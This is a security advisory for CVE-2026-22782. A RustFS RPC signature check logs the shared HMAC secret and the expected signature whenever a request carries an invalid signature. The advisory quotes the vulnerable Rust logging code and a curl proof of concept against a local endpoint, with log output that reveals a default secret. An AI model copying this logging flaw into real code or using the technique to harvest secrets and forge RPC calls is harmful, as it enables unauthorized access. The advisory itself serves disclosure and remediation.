CVE-2026-22782: RustFS RPC signature verification logs shared secret

Summary Invalid RPC signatures cause the server to log the shared HMAC secret (and expected signature), which exposes the secret to log readers and enables forged RPC calls.

Details In crates/ecstore/src/rpc/httpauth.rs:115-122 , the invalid signature branch logs sensitive data: rs if signature != expectedsignature { error!( "verifyrpcsignature: Invalid signature: secret {}, url {}, method {}, timestamp {}, signature {}, expectedsignature {}", secret, url, method, timestamp, signature, expectedsignature );

return Err(std::io::Error::other("Invalid signature")); }

This log line includes secret and expectedsignature, both derived from the shared HMAC key. Any invalidly signed request triggers this path. The function is reachable from RPC and admin request handlers.

PoC 1. Run RustFS with error logging enabled. 1. Send a request with an invalid signature: ts=$(date +%s) curl -v \ -H "x-rustfs-timestamp: $ts" \ -H "x-rustfs-signature: invalid-signature" \ "http://localhost:9000/rustfs/rpc/readfilestream?disk=foo&volume=bar&path=baz&offset=0&length=1" 1. Observed output: HTTP 403 AccessDenied: Invalid signature verifyrpcsignature: Invalid signature: secret rustfsadmin, url /rustfs/rpc/readfilestream?disk=foo&volume=bar&path=baz&offset=0&length=1, method GET, timestamp 1767852115, signature invalid-signature, expectedsignature oisNxNRTb80GXf97s/PGdScJzu8QB9Oxs+uOwf8RiK8= Impact

- Exposes the shared RPC HMAC secret to log readers. - Enables attackers with log access to forge valid RPC signatures and make unauthorized RPC calls.